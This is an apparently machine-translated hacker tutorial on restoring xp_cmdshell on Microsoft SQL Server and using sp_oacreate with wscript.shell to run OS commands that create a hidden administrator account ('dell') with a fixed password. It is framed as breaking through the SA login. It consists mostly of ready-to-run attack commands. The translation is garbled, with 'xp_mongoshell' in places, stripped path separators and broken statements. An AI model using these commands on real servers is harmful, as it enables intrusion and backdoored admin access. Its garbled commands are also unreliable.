Webboshi.com
Method 1: Query after separator connection
Step 1: use master
Step 2: Execute sp_dropextendedproc xp_cmdshell
Then press F5 to complete the command execution.
Iii. Restore the execution of xp_mongoshell in common cases.
1. The Stored Procedure master... xpcmdshell.
Recovery Method: After querying the separator connection,
Step 1: Execute EXEC sp_addextendedproc xp_cmdshell, @ dllname = xplog70.dlldeclare @ o int
Step 2: Execute sp_addextendedproc xp_cmdshell and xpsql70.dll.
Then press F5 to complete the command execution.
2. Unable to load DLL xpsql70.dll or a DLL referenced by the DLL. Cause 126 (the specified module cannot be found .)
Recovery Method: After querying the separator connection,
Step 1: Execute sp_dropextendedproc "xp_cmdshell"
Step 2: Execute sp_addextendedproc xp_cmdshell and xpsql70.dll.
Then press F5 to complete the command execution.
3. The xp_cmdshell function cannot be found in xpweb70.dll. Cause: 127 (the specified program cannot be found .)
Recovery Method: After querying the separator connection,
Step 1: Execute exec sp_dropextendedproc xp_cmdshell
Step 2: Execute exec sp_addextendedproc xp_cmdshell and xpweb70.dll.
Then press F5 to complete the command execution.
Iv. Ultimate Method.
If none of the above methods can be recovered, try the following method to add an account:
After querying the separator connection,
2000servser system:
Declare @ shell int exec sp_oacreate wscript. shell, @ shell output exec sp_oamethod @ shell, run, null, c: winntsystem320000.exe/c net user dell huxifeng007/add
Declare @ shell int exec sp_oacreate wscript. shell, @ shell output exec sp_oamethod @ shell, run, null, c: winntsystem3220..exe/c net localgroup administrators dell/add
Xp or 2003server system:
Declare @ shell int exec sp_oacreate wscript. shell, @ shell output exec sp_oamethod @ shell, run, null, c: windowssystem32cmd.exe/c net user dell huxifeng007/add
Declare @ shell int exec sp_oacreate wscript. shell, @ shell output exec sp_oamethod @ shell, run, null, c: windowssystem32cmd.exe/c net localgroup administrators dell/add
{Technology} again broke through the SA method
Bytes ------------------------------------------------------------------------------------------------------------------------
Xp_mongoshell's new Recovery Method
Delete
Drop procedure sp_addextendedproc
Drop procedure sp_oacreate
Exec sp_dropextendedproc xp_cmdshell
Restore
Dbcc addextendedproc ("sp_oacreate", "odsole70.dll ")
Dbcc addextendedproc ("xp_mongoshell", "xplog70.dll ")
In this way, the data can be directly restored without worrying about the existence of sp_addextendedproc.
-----------------------------
Delete the xp_mongoshell statement in the extended stored procedure:
Exec sp_dropextendedproc xp_cmdshell
Restore shell SQL statements
Exec sp_addextendedproc xp_cmdshell, @ dllname = xplog70.dll
Enable the SQL statement of Shell
Exec sp_addextendedproc xp_cmdshell, @ dllname = xplog70.dll
Determine whether the storage extension exists
Select count (*) from master. dbo. sysobjects where xtype = x and name = xp_mongoshell
If the returned result is 1, OK is returned.
Restore xp_mongoshell
Exec master. dbo. addextendedproc xp_mongoshell, xplog70.dll; select count (*) from master. dbo. sysobjects where xtype = x and name = xp_mongoshell
If the returned result is 1, OK is returned.
Otherwise, upload xplog7.0.dll.
Exec master. dbo. addextendedproc xp_mongoshell, c: winntsystem32xplog70. dll
Block SQL statements of Shell
Sp_dropextendedproc "xp_cmdshell